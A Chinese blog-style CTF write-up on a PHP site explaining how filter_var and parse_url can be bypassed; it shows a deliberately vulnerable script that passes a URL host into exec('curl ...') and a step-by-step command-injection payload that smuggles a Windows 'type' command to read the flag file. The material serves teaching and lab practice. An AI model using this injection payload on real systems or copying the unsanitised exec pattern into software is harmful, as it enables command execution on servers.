IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> filter_var函数缺陷(CTF例题,附源码) -> 正文阅读

[PHP知识库]filter_var函数缺陷(CTF例题,附源码)

基础知识

filter_var函数缺陷(原理+实践)

源代码

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

代码分析

首先通过GET方式获取了参数url,然后先通过了filter_var($url, FILTER_VALIDATE_URL)函数判断是否为合法url,然后通过了parse_url($url)函数提取了参数site_info['host'],然后通过正则表达式判断site_info['host']中字符串的最后是否含有sec-redclub.com子字符串,若这些都通过了,那么就执行exec('curl "'.$site_info['host'].'"', $result);

parse_url

PHP: parse_url

解题思路

首先要对filter_var函数进行绕过

绕过思路

?url=http://anything

然后要对正则表达式进行绕过,只需要在url的最后添加sec-redclub.com即可

?url=http://anything@sec-redclub.com

然后要对exec('curl "'.$site_info['host'].'"', $result);进行拼接,要让后台执行我们想要执行的恶意函数,因为我的环境是搭建在Windows下面的,所以大概需要type,dir还有管道符等知识

Windows和Linux上的管道符

那么我们构造payload

exec('curl "'.$site_info['host'].'"', $result)

exec('curl "";&type=flag.php;&"sec-redclub.com"', $result)

其中红色部分就是我们需要传给$site_info['host']的内容

下面写一个小demo来模拟一下过滤的基本逻辑

<?php
$url = 'javascript://";&type=flag.php;&&"sec-redclub.com';
//这里是我们构造的payload
var_dump($url);
echo '<br>';
$url = filter_var($url, FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$site_info = parse_url($url);
var_dump($site_info['host']);
echo '<br>';
if(preg_match('/sec-redclub.com$/',$site_info['host']))
{echo "ok";}
?>

发现红框的内容就是我们想要的内容,因为是request传入的参数,所以我们把payload中的符号urlencode一下就可以了

?url=javascript://%22;%26type=flag.php;%26%26%22sec-redclub.com

(因为是白盒测试,dir步骤就省略了)

题目来源 :红日团队

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-16 18:37:48  更:2021-11-16 18:37:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:06:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码